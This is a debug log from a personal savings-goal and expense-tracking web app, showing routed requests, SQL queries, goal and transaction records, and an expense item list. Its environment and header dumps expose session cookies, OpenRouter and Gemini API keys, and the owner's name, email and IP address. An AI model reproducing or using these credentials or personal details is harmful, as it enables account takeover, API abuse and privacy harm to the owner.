    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Aj2CtATEBF5Rf8R70pZNBtQ%3D%3D.3uNhkVDixLCub6azOm8ZIs3ZFiuo12Guu%2Be2SU%2B2DzDtSbfx3%2FVft%2BZascIdXrRqTLc2KemGRJKzKa1x2iJpOSczjr2gr3BvW7WbMv6ARLR5qQhfYM4U1UpROYbJBLTeGRnEa7l1ES2AI8syHLgwr5K3XS3oCNaEkAIm0ugVZl8%3D.0Ja7HQI3FQAw%2Fd4r6MWQWJa8zmRGQ3t9KTMSeSIYpnM; your_r_git.sid=s%3AD_VVxiJjpx-TfR3n2ysLnbHtbhkBSevL.n879CM4YqFDNFmN6%2BSyy9KPSqdGotD3iyPfXUIJGYAI',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-10T03:42:35.000Z server-connect:router Serving serverConnect /api/goals/list
2026-03-10T03:42:35.000Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-03-10T03:42:35.000Z server-connect:app Executing action step identify
2026-03-10T03:42:35.000Z server-connect:app options: { provider: 'security' }
2026-03-10T03:42:35.001Z server-connect:output identity: 1
2026-03-10T03:42:35.001Z server-connect:app Executing action step restrict
2026-03-10T03:42:35.001Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-10T03:42:35.001Z server-connect:app Executing action step identify
2026-03-10T03:42:35.001Z server-connect:app options: { provider: 'security' }
2026-03-10T03:42:35.001Z server-connect:output identity: 1
2026-03-10T03:42:35.001Z server-connect:app Executing action step restrict
2026-03-10T03:42:35.001Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-10T03:42:35.001Z server-connect:output restrict: undefined
2026-03-10T03:42:35.001Z server-connect:app Executing action step custom
2026-03-10T03:42:35.001Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-03-10T03:42:35.002Z server-connect:output restrict: undefined
2026-03-10T03:42:35.002Z server-connect:app Executing action step paged
2026-03-10T03:42:35.002Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-10T03:42:35.004Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      target_id: 8,
      credit: 0,
      debit: 25000,
      created_on: '2026-03-07T01:28:10.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 20000,
      debit: 0,
      created_on: '2026-03-06T16:36:36.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 21000,
      debit: 0,
      created_on: '2026-03-06T16:31:24.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 45000,
      debit: 0,
      created_on: '2026-02-26T18:30:49.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 50000,
      debit: 0,
      created_on: '2026-02-24T12:05:14.000Z',
      name: 'CPU Build'
    }
  ]
}
2026-03-10T03:42:35.005Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '111000',
    grand_total_target: '4300000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '111000',
    grand_total_target: '4300000'
  },
  {
    id: 8,
    name: 'CPU Build',
    amount: 200000,
    description: 'Build 9070XT pc build',
    userid: 1,
    created_on: 2026-02-24T12:05:14.000Z,
    status: 'Not Started',
    category: 'Electronics',
    total_saved: '111000',
    last_transaction_date: 2026-03-07T01:28:10.000Z,
    percentage_achieved: '55.50',
    grand_total_saved: '111000',
    grand_total_target: '4300000'
  }
]
2026-03-10T03:42:45.634Z server-connect:router Serving serverConnect /api/goals/transaction
2026-03-10T03:42:45.635Z server-connect:app Executing action step identify
2026-03-10T03:42:45.635Z server-connect:app options: { provider: 'security' }
2026-03-10T03:42:45.635Z server-connect:output identity: 1
2026-03-10T03:42:45.635Z server-connect:app Executing action step restrict
2026-03-10T03:42:45.635Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-10T03:42:45.635Z server-connect:output restrict: undefined
2026-03-10T03:42:45.636Z server-connect:app Executing action step insert
2026-03-10T03:42:45.636Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object], [Object], [Object] ],
    table: 'target_transaction',
    returning: 'id',
    query: 'insert into `target_transaction` (`created_on`, `credit`, `debit`, `target_id`) values (?, ?, ?, ?)',
    params: [ [Object], [Object], [Object], [Object] ]
  }
}
2026-03-10T03:42:45.636Z server-connect:output insert: { affected: 1, identity: 16 }
2026-03-10T03:42:45.897Z server-connect:router Serving templateView /goal
2026-03-10T03:42:45.897Z server-connect:app Executing action step identify
2026-03-10T03:42:45.897Z server-connect:app options: { provider: 'security' }
2026-03-10T03:42:45.897Z server-connect:output identity: 1
2026-03-10T03:42:45.897Z server-connect:app Executing action step restrict
2026-03-10T03:42:45.897Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-10T03:42:45.898Z server-connect:output restrict: undefined
2026-03-10T03:42:45.898Z server-connect:router Render template layouts/main
2026-03-10T03:42:45.898Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3Aj2CtATEBF5Rf8R70pZNBtQ%3D%3D.3uNhkVDixLCub6azOm8ZIs3ZFiuo12Guu%2Be2SU%2B2DzDtSbfx3%2FVft%2BZascIdXrRqTLc2KemGRJKzKa1x2iJpOSczjr2gr3BvW7WbMv6ARLR5qQhfYM4U1UpROYbJBLTeGRnEa7l1ES2AI8syHLgwr5K3XS3oCNaEkAIm0ugVZl8%3D.0Ja7HQI3FQAw%2Fd4r6MWQWJa8zmRGQ3t9KTMSeSIYpnM; your_r_git.sid=s%3AD_VVxiJjpx-TfR3n2ysLnbHtbhkBSevL.n879CM4YqFDNFmN6%2BSyy9KPSqdGotD3iyPfXUIJGYAI',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-11T03:41:30.636Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3Aj2CtATEBF5Rf8R70pZNBtQ%3D%3D.3uNhkVDixLCub6azOm8ZIs3ZFiuo12Guu%2Be2SU%2B2DzDtSbfx3%2FVft%2BZascIdXrRqTLc2KemGRJKzKa1x2iJpOSczjr2gr3BvW7WbMv6ARLR5qQhfYM4U1UpROYbJBLTeGRnEa7l1ES2AI8syHLgwr5K3XS3oCNaEkAIm0ugVZl8%3D.0Ja7HQI3FQAw%2Fd4r6MWQWJa8zmRGQ3t9KTMSeSIYpnM; your_r_git.sid=s%3AD_VVxiJjpx-TfR3n2ysLnbHtbhkBSevL.n879CM4YqFDNFmN6%2BSyy9KPSqdGotD3iyPfXUIJGYAI',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/goal'
}
2026-03-10T03:42:45.905Z server-connect:router Serving serverConnect /api/goals/list
2026-03-10T03:42:45.905Z server-connect:app Executing action step identify
2026-03-10T03:42:45.906Z server-connect:app options: { provider: 'security' }
2026-03-10T03:42:45.906Z server-connect:output identity: 1
2026-03-10T03:42:45.906Z server-connect:app Executing action step restrict
2026-03-10T03:42:45.906Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-10T03:42:45.906Z server-connect:output restrict: undefined
2026-03-10T03:42:45.906Z server-connect:app Executing action step custom
2026-03-10T03:42:45.906Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-03-10T03:42:45.907Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '181000',
    grand_total_target: '4300000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '181000',
    grand_total_target: '4300000'
  },
  {
    id: 8,
    name: 'CPU Build',
    amount: 200000,
    description: 'Build 9070XT pc build',
    userid: 1,
    created_on: 2026-02-24T12:05:14.000Z,
    status: 'Not Started',
    category: 'Electronics',
    total_saved: '181000',
    last_transaction_date: 2026-03-10T03:42:45.000Z,
    percentage_achieved: '90.50',
    grand_total_saved: '181000',
    grand_total_target: '4300000'
  }
]
2026-03-10T03:42:46.613Z server-connect:router Serving serverConnect /api/masters/get-items
2026-03-10T03:42:46.614Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-03-10T03:42:46.614Z server-connect:app Executing action step identify
2026-03-10T03:42:46.614Z server-connect:app options: { provider: 'security' }
2026-03-10T03:42:46.614Z server-connect:output identity: 1
2026-03-10T03:42:46.614Z server-connect:app Executing action step restrict
2026-03-10T03:42:46.614Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-10T03:42:46.614Z server-connect:app Executing action step identify
2026-03-10T03:42:46.614Z server-connect:app options: { provider: 'security' }
2026-03-10T03:42:46.614Z server-connect:output identity: 1
2026-03-10T03:42:46.614Z server-connect:app Executing action step restrict
2026-03-10T03:42:46.614Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-10T03:42:46.615Z server-connect:output restrict: undefined
2026-03-10T03:42:46.615Z server-connect:app Executing action step select
2026-03-10T03:42:46.615Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-03-10T03:42:46.615Z server-connect:output restrict: undefined
2026-03-10T03:42:46.615Z server-connect:app Executing action step single
2026-03-10T03:42:46.615Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-03-10T03:42:46.616Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-03-10T03:42:46.619Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-03-10T03:42:46.620Z server-connect:router Serving serverConnect /api/goals/list
2026-03-10T03:42:46.620Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-03-10T03:42:46.621Z server-connect:app Executing action step identify
2026-03-10T03:42:46.621Z server-connect:app options: { provider: 'security' }
2026-03-10T03:42:46.621Z server-connect:output identity: 1
2026-03-10T03:42:46.621Z server-connect:app Executing action step restrict
2026-03-10T03:42:46.621Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-10T03:42:46.622Z server-connect:app Executing action step identify
2026-03-10T03:42:46.622Z server-connect:app options: { provider: 'security' }
2026-03-10T03:42:46.622Z server-connect:output identity: 1
2026-03-10T03:42:46.622Z server-connect:app Executing action step restrict
2026-03-10T03:42:46.622Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-10T03:42:46.622Z server-connect:output restrict: undefined
2026-03-10T03:42:46.622Z server-connect:app Executing action step custom
2026-03-10T03:42:46.622Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
